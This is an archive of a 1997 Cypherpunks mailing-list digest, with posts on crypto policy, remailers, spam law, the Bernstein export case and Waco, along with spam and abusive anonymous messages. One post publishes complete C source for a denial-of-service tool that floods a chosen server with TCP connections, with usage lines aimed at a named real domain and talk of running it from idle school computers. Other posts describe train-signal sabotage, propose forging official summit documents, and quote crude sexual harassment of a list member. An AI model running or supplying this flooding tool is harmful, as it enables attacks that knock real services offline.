|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+






From whgiii at amaranth.com  Fri Jun  6 18:47:44 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 7 Jun 1997 09:47:44 +0800
Subject: Privacy in Europe
Message-ID: <199706070138.UAA17112@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----


In , on 06/06/97 
   at 05:49 PM, Lucky Green  said:


>The recent post by John Young about the German woman charged with linking
> to Radikal caused me to investigate this issue.

>You may have heard that Radikal had an article on sabotaging train
>systems. The article simply stated that if you break open a certain type
>of control box found next to train tracks and yank the circuit boards,
>the trains will refuse to enter the given track segment. Hardly the worst
>of possible sabotages and considerably less fatal than other methods
>discussed on a mailing list near you. 

>BTW, the woman has now been slapped with a new charge. Apparently it is 
>illegal in Germany to publish criminal complaints. [Due to privacy 
>regulations?]

>Since the woman has the official paperwork detailing the charges against
>her on her web site, she has now been charged *again* for violating the
>prohibition against publishing the official court documents. 

>Things are better in Europe? You must to be joking.

The problem with Europe is we kicked out the Germans and left the Nazi's.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5i6no9Co1n+aLhhAQFIYAQAoK5o6kQ36FeI3B5uP2/FGZfpTDanDYnc
LY0TCxv1BeJrzCw8nvWleouOw3IwzJmK3EiCp6A4K9svrZPfWGSXhZjvyW+6tJPB
ujAz/gyUj2mFNdLz6/bJHp4uIirWPxyiJrGlBuEA8uJrGiu4n20zsXeBAvNNUY6u
6kiak6sbr9Y=
=Tj5L
-----END PGP SIGNATURE-----






From nobody at REPLAY.COM  Fri Jun  6 18:47:46 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 7 Jun 1997 09:47:46 +0800
Subject: Who subscribes to the list?
In-Reply-To: <199706070117.UAA26367@manifold.algebra.com>
Message-ID: <199706070142.DAA29774@basement.replay.com>



Igor Chudov @ home wrote:
> Another danger of  using remailers without encryption is that it is very
> easy to compromise one's identity due to little mistakes and malformed
> messages.

Yup, apparently relay.com and reply.com have gotten quite a bit of
remailer at replay.com's mail.  In fact, relay.com has complained about this
several times.  (Obviously they were reading the misdirected mail.)






From whgiii at amaranth.com  Fri Jun  6 19:00:29 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 7 Jun 1997 10:00:29 +0800
Subject: Arguments for good crypto and against GAK.
Message-ID: <199706070151.UAA17306@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706051819.NAA06360 at einstein.ssz.com>, on 06/05/97 
   at 03:00 PM, "Peter Trei"  said:

>In short, it's possible to pro-crypto, anti-GAK 
>without ever getting near sounding  anti-government; 
>in fact, being pro-crypto, anti-GAK can be a 
>conservative, anti-crime, law & order position.

Well the real problem here is not GAK it is just a symptom.

The problem is the position that our current government and especially
LEAs in that government have taken that we have no rights. That the
Constitution and the Bill of Rights have no meaning unless it is
politically convienant to them.

I don't see how anyone can look at the governments behavior in its push
for GAK and not have utter contempt for them.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5i/ZI9Co1n+aLhhAQHxRAQAytDQhogRQkzsD88hYhWWFZen44tVj3zd
nAnlF+fqxBmitzcI/iSiH9QT//lLlr5FzUCFG2g/aasuo9j0AzcXc4pM87itvbfj
WFJSZ7l8aN2xAkpWrIJoRo6C90tsPKWoqy3G9N/legeJPKrBx4gtpiuWv0wTBgDA
OGerKywdxnE=
=y+Qb
-----END PGP SIGNATURE-----






From ichudov at Algebra.COM  Fri Jun  6 19:01:26 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 10:01:26 +0800
Subject: Who subscribes to the list?
In-Reply-To: <199706070142.DAA29774@basement.replay.com>
Message-ID: <199706070149.UAA26627@manifold.algebra.com>



Anonymous wrote:
> 
> 
> Igor Chudov @ home wrote:
> > Another danger of  using remailers without encryption is that it is very
> > easy to compromise one's identity due to little mistakes and malformed
> > messages.
> 
> Yup, apparently relay.com and reply.com have gotten quite a bit of
> remailer at replay.com's mail.  In fact, relay.com has complained about this
> several times.  (Obviously they were reading the misdirected mail.)
> 

What do remailer operators think about requiring all incoming messages
to be encrypted? Would that bring more good than harm?

	- Igor.






From declan at pathfinder.com  Fri Jun  6 19:53:20 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sat, 7 Jun 1997 10:53:20 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: 



So we do agree after all!

-Declan

(Who thinks that no consensual speech should be banned by the government.
I can, however, see a common law argument for spam as trespass after
repeated cease-and-desist notes are sent.)

On Fri, 6 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

> Declan McCullagh  writes:
> > I suspect we agree on spam.)
> 
> I kind of doubt it.
> 
> Do you believe, as I do, that "spam" deserves the protection as any other kind
> of speech, and that so libel, child pornography, and bolb-making instructions?
> 
> I didn't think so. :-)
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 






From dlv at bwalk.dm.com  Fri Jun  6 19:53:48 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 10:53:48 +0800
Subject: Trash your Enemy's Server
In-Reply-To: <199706070108.UAA26269@manifold.algebra.com>
Message-ID: <24mw8D30w165w@bwalk.dm.com>



ichudov at algebra.com (Igor Chudov @ home) writes:
> > my cancelbot (available at http://www.thecia.net/~kibo/cancelbot.html, btw)
> > to make a Windows 95 binary.
> > Somehow I think the people most likely to use this would be running W95 and
> > have no C compiler, rather than running a flavor of Unix/Linux.
>
> I personally experience very unpleasant emotions whenever I have to do
> anything with Win 95.

Without getting into OS wars, let me just point out that I'm writing this
on an OS/2 box. :-)

>                       Perhaps someone else could do it. Also, it is
> _possible_ that this program will not work too well on Win 95 because
> it would block other applications. (I am not sure about this)

It might make the box not very usable for other stuff.

I'm thinking of a situation where someone has access to a room full of
W95 boxes (e.g. a computer lab at school) left idle for extended time.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From lucifer at dhp.com  Fri Jun  6 20:11:27 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sat, 7 Jun 1997 11:11:27 +0800
Subject: NYT on German Net Police
Message-ID: <199706070259.WAA29012@dhp.com>



John Young wrote:
> Robert Hettinga wrote:
> >> Recall a previous report that Kohl and other heads of state are
> >> to meet in Denver on June 20-22 to plan a global attack
> >> on "cyber-terrorism," including the spread of encryption:
> >>
> >>    http://jya.com/denver.htm
> >
> >Wow. What an opportunity for street theater *that* might be...
> 
> Excellent suggestion, Agent Provocateur (AP) Bob.
> 
> Now, what would be the cyber-version of street theater?

  Meet incoming International airline flights and hand out free 
copies of strong crypto (electronic and/or text) to incoming
foreigners.
  Carry passports with Public Key footprint as identifier.
  
> For examp, the security arrangements for the trial will be broadened,
> and artfully leaked to the Denver-ensconced and equipped media, to
> promote and protect the priceless Derrieres of State.
> 
> But what might cyber-terribles do to work-a-round the highly
> classified meat protections?

  Provide delegates with bogus/forged information regarding
meeting, times, security proceedures, etc.
  
> Denver's Judge Downes sent a missive in plaintext to IRS, a
> spit in the bucket another Bob said. What about a bigger oyster
> hawk at the lens and mikes of the leaders of the free worlds?

  Forged conference media handouts with quotes from Hitler,
Stalin and Mussolini.
 
FalseMonger







From ichudov at Algebra.COM  Fri Jun  6 20:22:10 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 11:22:10 +0800
Subject: Trash your Enemy's Server
In-Reply-To: <24mw8D30w165w@bwalk.dm.com>
Message-ID: <199706070305.WAA27233@manifold.algebra.com>



Dr.Dimitri Vulis KOTM wrote:
> ichudov at algebra.com (Igor Chudov @ home) writes:
> >                       Perhaps someone else could do it. Also, it is
> > _possible_ that this program will not work too well on Win 95 because
> > it would block other applications. (I am not sure about this)
> 
> It might make the box not very usable for other stuff.
> 
> I'm thinking of a situation where someone has access to a room full of
> W95 boxes (e.g. a computer lab at school) left idle for extended time.

... or a number of people who have access to idle computers and do not
like a particular very annoying domain.

The program was designed specifically to be left running forever (in the
grind mode with #connections != 0). It should not put a too big strain on
the attacking host (except for the Net connection), at least if it runs 
under linux.

By the way, I just made a couple of minor changes (in the way it grinds)
and here's the new version.

/***************************************************************************/
/*                                                                         */
/*                \=/,         _-===-_-====-_-===-_-==========-_-====-_    */
/*                |  @___oo   (          Denial Of Service             )_  */
/*      /\  /\   / (___,,,}_--=    Opens Many Dangling TCP Connections   ) */
/*     ) /^\) ^\/ _)        =__        to swamp TCP servers of your     )  */
/*     )   /^\/   _)          (_              enemies.                  )  */
/*     )   _ /  / _)            (                                        ) */
/* /\  )/\/ ||  | )_)            (_        Educational Use Only!        )  */
/*<  >      |(,,) )__)             (  Ignoramus_Chewed-Off at algebra.com   ) */
/* ||      /    \)___)\             (_            1997                 __) */
/* | \____(      )___) )___           -==-_____-=====-_____-=====-___==    */
/*  \______(_______;;; __;;;                                               */
/*                                                                         */
/***************************************************************************/



const char * Usage = 
"Error: %s\n"
"USAGE: %s (block|grind) hostname service# #connections\n"
"\n"
"This program opens #connections connections to the specified host.\n"
"It can be used to deny services, slow down and crash Internet servers.\n"
"\n"
"If #connections is set to 0, it opens as many connections as it can\n"
"and continues trying to do so as long as it runs. Use Control-C to \n"
"interrupt it. NOTE that depending on your OS, it may hurt you too.\n"
"\n"
"If #connections is not 0, this program only opens #connections of them.\n"
"After that, if the first argument is 'block', it simply sleeps. If the\n"
"first argument is 'grind', it starts opening and closing connections\n"
"in a round robin manner every second.\n"
"\n"
"This program is for EDUCATIONAL USE ONLY. Please do not use it for\n"
"anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n"
"\n"
"USE EXAMPLE: \n"
"	%s grind victim.com 80 1000\n"
"-- opens 1000 HTTP connections to victim.com and waits\n"
"	%s block www.agis.net 80 0\n"
"-- constantly attempts to open HTTP connections to www.agis.net\n"
;

#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define USAGE( msg ) 	\
   fprintf( stderr, Usage, msg, argv[0], argv[0], argv[0] ), \
   exit( 1 )

/* after I open this many additional connections (for n_connections == 0),
   I wait for 1 second, just in case 
*/

#define MAX_CONN 50

typedef enum { CON_BLOCK, CON_GRIND } ConMode;

/* create a client socket connected to PORT on HOSTNAME */
int create_client_socket(char ** hostname, int port)
{
    struct sockaddr_in sa ;
    struct hostent *hp ;
    int a, s ;
    long addr ;


    bzero(&sa, sizeof(sa)) ;
    if ((addr = inet_addr(*hostname)) != -1) {
        /* is Internet addr in octet notation */
        bcopy(&addr, (char *) &sa.sin_addr, sizeof(addr)) ; /* set address */
        sa.sin_family = AF_INET ;
    } else {
        /* do we know the host's address? */
        if ((hp = gethostbyname(*hostname)) == NULL) {
            return -2 ;
        }
        *hostname = hp->h_name ;
        bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length) ;
        sa.sin_family = hp->h_addrtype ;
    }

    sa.sin_port = htons((u_short) port) ;

    if ((s = socket(sa.sin_family, SOCK_STREAM, 0)) < 0) { /* get socket */
        return -1 ;
    }
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {  /* connect */
        close(s) ;
        return -1 ;
    }
    return s ;
}

int main( int argc, char *argv[] ) 
{
  char * name;
  int port, n_connections;
  int s;
  ConMode mode; 


  if( argc != 5
      || (argc >= 1 && (!strcmp( argv[1], "--help" ) 
                        || !strcmp( argv[1], "-help" ))))
    {
      USAGE( "Wrong Number of Arguments" );
    }

  if( !strcmp( argv[1], "block" ) )
    {
      mode = CON_BLOCK; 
    }
  else if( !strcmp( argv[1], "grind" ) )
    {
      mode = CON_GRIND;
    }
  else
    {
      USAGE( "First argument must be 'block' or 'grind'" );
    }

  name = argv[2];

  if( (port = atoi( argv[3] ) ) == 0 )
    {
      USAGE( "Port Number must be numeric" );
    }

  if( !isdigit( argv[4][0] ) )
    {
      USAGE( "Port Number must be numeric" );;
    }

  n_connections = atoi( argv[4] );

  if( n_connections == 0 ) /* infinite loop */
    {
      int i = 0;
      printf( "ATTENTION: This may damage even your "
               "computer. Press ^C to abort\n" );

      while( 1 )
        {
          if( create_client_socket( &name, port ) == -1 )
            {
              printf( "Connection refused; sleeping.\n" );
              sleep( 1 );
            }
          else
            {
              if( (i++ % MAX_CONN) == (MAX_CONN-1) )
                {
                  printf( "You can interrupt me here. I have %d "
                          "connections open. \nContinuing...\n", i );
                  sleep( 1 );
                }
            }
        }
    }
  else
    {
      int * fds = (int *)calloc( n_connections, sizeof( int ) );
      int i = 0;

      if( fds == 0 )
        USAGE( "Memory Allocation Error" ); 

      while( 1 ) /* in a loop, keep opening descriptors */
        {
          if( fds[i] != 0 )
            {
              printf( "Closing %d...\n", i );
              close( fds[i] );
            }

          while( 1 ) /* try to open the new one */
            {
              if( (fds[i] = create_client_socket( &name, port )) == -1 )
                {
                  printf( "Connection refused; sleeping.\n" );
                  sleep( 1 );
                }
              else
                {
                  printf( "Opened %d.\n", i );
                  break;
                }
            }

          i++;

          if( i == n_connections ) /* we've gone full circle */
            {
              printf( "Done with %d connections\n", i );

              if( mode == CON_BLOCK )
                {
                  printf( "I am going to sleep forever...\n", i );
                  while( 1 ) 
                    sleep(1);
                }
              else /* repeating the loop */
                i = 0;
              sleep( 1 );
            }
        }
    }
}






From alan at ctrl-alt-del.com  Fri Jun  6 20:30:03 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Sat, 7 Jun 1997 11:30:03 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: <3.0.2.32.19970606201814.03d26560@mail.teleport.com>




>On Fri, 6 Jun 1997, Dr.Dimitri Vulis KOTM wrote:
[snip]
>> Do you believe, as I do, that "spam" deserves the protection as any
other kind
>> of speech, and that so libel, child pornography, and bolb-making 
                                                        ^^^^^^^^^^^
instructions?
^^^^^^^^^^^^^

How does one make bolbs anyway?  Are they similar to bolb-bearings?  Do you
have to plant them in the spring?  Why would people want to prevent you
from making them?  Are they any relation to J.R. "BolB" Dobbs?

Dyslexics minds want to know!

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From gnu at toad.com  Fri Jun  6 20:47:04 1997
From: gnu at toad.com (John Gilmore)
Date: Sat, 7 Jun 1997 11:47:04 +0800
Subject: June 18th SF C'punks meeting: export controls on trial
Message-ID: <199706070323.UAA22781@toad.com>



We're having yet another "Cypherpunks Dress-Up Day" on Wednesday, June
18th.  Meet at the Federal Building in San Francisco, 450 Golden Gate
Avenue, at 10:15AM, dressin' sharp 'n' actin' cool.  There will also
be a regular 2nd-Saturday c'punks meeting this month (I think it's at
PGP, Inc.)

The Bernstein case is moving toward a close.  Both we and the
government have asked the court to render its final judgement.  We're
asking her to declare both the State Department and Commerce
Department crypto export control schemes unconstitutional, and to
enjoin (order) the government to stop enforcing them.  They're asking
to keep the status quo, and keep full discretion to change it whenever
they want.

The two sides have exchanged their motions, declarations, and
opposition briefs.  The final salvos will occur on the morning of June
18th, as we do "oral argument" in front of Judge Marilyn Hall Patel.
There she'll get to question us before she makes her decision.
In this final round of hearings, we're exploring these issues:

	*  Do the new Commerce Department export controls require people
	   to get a government license before they can speak?
	*  Do these controls impermissibly punish speech after the fact?
	*  Are they too vague to constitutionally regulate speech?
	*  Are they so broadly worded that they unconstitutionally
	   limit speech protected by the First Amendment?
	*  Can Prof. Bernstein challenge the law directly, as it applies
	   to everyone, or only as it applies to him?
	*  Does the President's declaration of an "international
	   emergency" have any effect, when there is no emergency and
	   the only issue is domestic and usual?
	*  Can cryptographic assistance, technology, and software be
	   regulated even though the law only applies to "foreign interest
	   in property" and excludes "communications"?
	*  Can these things be regulated even though the law precludes
	   regulation of "informational materials"?
	*  Should the judge void, or reaffirm, her previous decision
	   against the State Dept. export controls?
	*  Should the judge merely declare the Government's actions
	   unconstitutional, or should she also explicitly order them
	   to stop?
	*  Should she stop the enforcement of the unconstitutional
	   controls against everyone, or only against Prof. Bernstein?

Watch the wheels of justice grind!  Shake hands with the intrepid
lawyers who are working hard to protect our rights!  Banter with NSA
representatives specially flown in for the occasion!  Talk with
journalists who cover crypto!  Be quoted talking about crypto freedom!
Finally meet our reclusive plaintiff, Professor Dan Bernstein!

We will follow the hearing with a nearby press conference, then have
lunch at Max's Opera Plaza, a block away at Van Ness Avenue and Golden
Gate Avenue.  (Alternative lunch ideas are welcome.)

As background, Dan Bernstein, ex-grad-student from UC Berkeley, is
suing the State Department, NSA, Commerce Department, Justice
Department, and other agencies, with help from the EFF.  These
agencies restrained Dan's ability to publish a paper, as well as
source code, for the crypto algorithm that he invented.  We claim that
their procedures, regulations, and laws are not only unconstitutional
as applied to Dan, but in general.  Full background and details on the
case, including all of our legal papers (and many of the government's
as well), are (or will soon be) in the EFF Web archives at:
    http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case.

Like Phil Karn's and Peter Junger's cases, this lawsuit really has the
potential to outlaw the whole NSA crypto export scam.  We intend to
make your right to publish and export crypto software as well-
protected by the courts as your right to publish and export books.  It
will probably take more years, and an eventual Supreme Court decision,
to make it stick.  At the last hearing, we convinced the judge that
the State Department export control laws really are unconstitutional.
Her order restoring our legal right to publish crypto source code was
a wonderful Christmas present.  The government stopped issuing State
Department licenses, but two weeks later started requiring virtually
identical Commerce Department licenses.  We think Judge Patel will see
through this sham, and we hope she'll explicitly order them to cease.

Please make a positive impression on the judge.  Don those
mothball-scented conservative duds.  Show her -- by showing up -- that
this case matters to more people than just the plaintiff and
defendant.  Demonstrate that her decision will make a difference to
society.  That the public and the press are watching, and really do
care that she handles the issue well.

We'll have to be quiet and orderly while we're in the courthouse.
There will be no questions from the audience (that's us), and no
photography there, but the session will be tape-recorded and
transcribed, and you can take notes if you like.  The lobby guards
will want to hold onto guns, "munitions", and even small pocketknives,
before they'll let you go upstairs to the courtrooms.

It's unlikely that Judge Patel will decide then-and-there.  Instead,
we will get some insights into how she is leaning, based on her
questions and comments.  Her written decision will come out some weeks
or months later.  Even if she decides in our favor and issues an
injunction, this isn't the end of the work.  The Government would
almost certainly attempt to have the injunction stayed (stopped) while
they appeal the case to the 9th Circuit Court of Appeals (also here in
San Francisco).  Then there's the appeal itself, in which we'll
probably spend six months to a year defending Judge Patel's decision
in front of a higher court.  Followed by a potential appeal to the
Supreme Court.

The fat lady won't sing on June 18th, but the orchestra will be in
full swing and she'll be waiting in the wings.  Please join us on the
dance floor, in your best regalia.

	John Gilmore

PS: If you can't come, you can still contribute.  Come to EFF's
rock-and-roll fund-raiser at the Fillmore the following night,
Thursday, June 19th, 7PM.  $100/person, including a year of EFF
membership.  Current EFF members can buy two tickets at half price.
There you really *will* get to dance!  (If you're a musician, find a
sponsor, and you can play at the Fillmore.)  Reserve tickets at
http://www.eff.org/fillmore/.  See you there!






From dlv at bwalk.dm.com  Fri Jun  6 21:01:30 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 12:01:30 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: 



Declan McCullagh  writes:

> -Declan
>
> (Who thinks that no consensual speech should be banned by the government.

If you set up your mailbox to accept e-mail promiscuously from anyone,
then anything sent to it is "consentual".

> I can, however, see a common law argument for spam as trespass after
> repeated cease-and-desist notes are sent.)

The onus is on the recipient to filter out what they don't want (or to
"filter in" only what they want, which is how I think we'll end up). Such
filtering takes less time+effort than "repeated cease-and-desist notes".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From Tradecom.Limited at dial.pipex.com  Sat Jun  7 12:28:38 1997
From: Tradecom.Limited at dial.pipex.com (Tradecom.Limited at dial.pipex.com)
Date: Sat, 7 Jun 1997 12:28:38 -0700 (PDT)
Subject: $7747.00 in 21 Days
Message-ID: <1999888999.aat@makemoneyy.com>



OUR WEB SITE CONTAINS DOCUMENTED EVIDENCE OF ACTUAL EARNINGS OF

		$7747.00 IN 21 DAYS (Genuine, Proven)

WITH OUR HELP YOU CAN EARN AS MUCH AS THIS. OUR BUSINESS IS MOST
DEFINITELY NOT MLM OR ANY OTHER PYRAMID TYPE SCHEME. TAKE A LOOK.

		http://www.tradecom.ltd.uk/






From ichudov at Algebra.COM  Fri Jun  6 21:38:23 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 12:38:23 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: <199706070424.XAA27671@manifold.algebra.com>



Dr.Dimitri Vulis KOTM wrote:
> Declan McCullagh  writes:
> 
> > -Declan
> >
> > (Who thinks that no consensual speech should be banned by the government.
> 
> If you set up your mailbox to accept e-mail promiscuously from anyone,
> then anything sent to it is "consentual".
> 
> > I can, however, see a common law argument for spam as trespass after
> > repeated cease-and-desist notes are sent.)
> 
> The onus is on the recipient to filter out what they don't want (or to
> "filter in" only what they want, which is how I think we'll end up). Such
> filtering takes less time+effort than "repeated cease-and-desist notes".

Is there any justification for a law that would require senders to make
filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.

	- Igor.






From mpd at netcom.com  Fri Jun  6 22:27:15 1997
From: mpd at netcom.com (Mike Duvos)
Date: Sat, 7 Jun 1997 13:27:15 +0800
Subject: Steak Knife Decryption
Message-ID: <199706070521.WAA11195@netcom11.netcom.com>



An interesting twist on rubber hose decryption in the case of the
murder of Jonathan Levin, son of the top executive of media
giant Time Warner.

Police believe his ATM card was stolen, and he was then jabbed
with a steak knife until he revealed the PIN.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From real at freenet.edmonton.ab.ca  Fri Jun  6 22:38:06 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sat, 7 Jun 1997 13:38:06 +0800
Subject: your mail
In-Reply-To: <199706061822.LAA23129@sirius.infonex.com>
Message-ID: 




I think Vulis needs each of us to send ten copies of this back to him.

On Fri, 6 Jun 1997, Mix wrote:

> Now is the time for all good little boys to cum in Tim C. May's big mouth.
> 
>             >\\\|/<
>             |_    ;
>             (O) (o)
>         -OOO--(_)--OOOo- Tim C. May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From real at freenet.edmonton.ab.ca  Fri Jun  6 22:42:36 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sat, 7 Jun 1997 13:42:36 +0800
Subject: [URGENT] Sphere packings
In-Reply-To: <199706061806.UAA27392@basement.replay.com>
Message-ID: 



On Fri, 6 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C[unt] May's 16Kb brain's single 
> convolution is directly wired to his rectum 
> for input and his T1 mouth for output. That's 
> 16K bits, not bytes. Anal intercourse has 
> caused extensive brain damage.
> 
>  ///////
>  \-oo-/  Tim C[unt] May
>   \--/
>    \/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From ichudov at Algebra.COM  Fri Jun  6 22:51:32 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 13:51:32 +0800
Subject: Steak Knife Decryption
In-Reply-To: <199706070521.WAA11195@netcom11.netcom.com>
Message-ID: <199706070544.AAA00172@manifold.algebra.com>



Mike Duvos wrote:
> 
> 
> An interesting twist on rubber hose decryption in the case of the
> murder of Jonathan Levin, son of the top executive of media
> giant Time Warner.
> 
> Police believe his ATM card was stolen, and he was then jabbed
> with a steak knife until he revealed the PIN.

This brings up a question. Did these robbers kill him right after
they found out the answer, or they first tried to withdraw money
to check if his number was right?

This brings up a question on the strategy in this game.

Suppose I am captured by ruthless robbers. They ask me for a
number and torture me. They will torture me as long as necessary
until I give out the correct number, and then they kill me.

Assuming that I am rational and prefer torture to death, I should
not tell them the right number and delay the process, with the hope
that possibly the police will come and rescue me.

Assuming that robbers are rational and know that I am rational,
they certainly should not put me in such position: if they do,
they are going to waste a lot of precious time and have no chance of
getting the money.

So, they should promise me that they would not kill me.

But how would I believe them? A rational robber should kill the
victim after she gets the money.

I am not quite clear if rational people can get something out of
torturing other rational people. Maybe, I am confused and wrong
somewhere.

Maybe, if the robber can convince the victim that she (robber) is
irrational and would hold on to her promise not to kill him, she could
get the money. But how to do that?

	- Igor.






From message at marketcom2.com  Sat Jun  7 14:39:23 1997
From: message at marketcom2.com (message at marketcom2.com)
Date: Sat, 7 Jun 1997 14:39:23 -0700 (PDT)
Subject: Web Site Visibility
Message-ID: <199706072136.OAA09799@toad.com>



You are on the Web.  But can anybody find you?

Web Site Visibility is critical to your success online.

FREE demo of MARKETCOM WEB PROMOTION SPIDER 

does  Visibility Analysis for you.  Check it out at:

http://www.marketcom.com






From stewarts at ix.netcom.com  Fri Jun  6 23:48:56 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 7 Jun 1997 14:48:56 +0800
Subject: McVeigh  [WACO NOISE POLITICS NON-CRYPTO]
In-Reply-To: <3.0.2.32.19970604165830.0078e268@panix.com>
Message-ID: <3.0.1.32.19970606212218.0073e864@popd.ix.netcom.com>



At 05:13 PM 6/4/97 -0400, you wrote:
>Give it a rest. The people inside had already murdered several BATF
>agents. They had every opportunity to release the children and allow
>them to get to safety. They had every opportunity to surrender.

Phill, I'm really appalled at this posting of yours.
When a bunch of armed marked people storm your house with assault rifles
and grenades, without warning you to come out first,
and you shoot back at them, that's not murder.  That's self-defense.
It may be stupid - there's a lot to be said for lying on the floor
with your hands over your head, which will make the armed assault force
feel slightly guilty if they shoot you in the back - but it's
not murder, and it's not anything resembling murder.
If the BATF killed any of the Davidians in the incident, _that_ would 
have been murder.  
	[If, as some people contend, some of the four dead assailants were 
	actually killed by friendly fire, that wouldn't have been murder
	either, that would have been an accident.  And since the leader
	of the attack force knew he'd probably lost the element of surprise,
	he was clearly negligent in protecting his men.]

Even if the Davidians knew, and they apparently did,
that an armed gang was about to storm their house without warning,
that's still self-defense, not murder.  Waving a white flag out the window
before the attackers have a chance to sneak up and storm you
would probably embarass or confuse them, but the Davidians had no
reason to trust that the assault force would respect it
and not just shoot them anyway -- and besides, while the Davidians
had fewer guns per person than the average Texan, they were
paranoid wackos, and surrendering before being attacked isn't the
kind of thing you expect paranoid wackos to think of at dawn
after being warned by a phone call.
	
>The US police may be incompetent and corrupt but that does not excuse
>the Oaklahoma bombing nor does it in any way lessen the responsibility of
>McVeigh and those who encouraged him.

I didn't say the people who disagreed with you on this list
weren't engaging in macho flash rhetoric here :-)

>Only I think that the SAS is probably better experienced.

Not just the SAS - even the FBI said after the first wave of attacks that,
unlike the BATF, they really try not to lead armed assaults
when there are women and children in the way.  By a couple of months
later, the political pressure had become strong enough that they
decided to do it anyway, but at least at first they were embarassed
about the situation their colleagues had gotten them into.
The US military has better-trained people also, but there's a very strong
tradition against using the US military for domestic incidents -
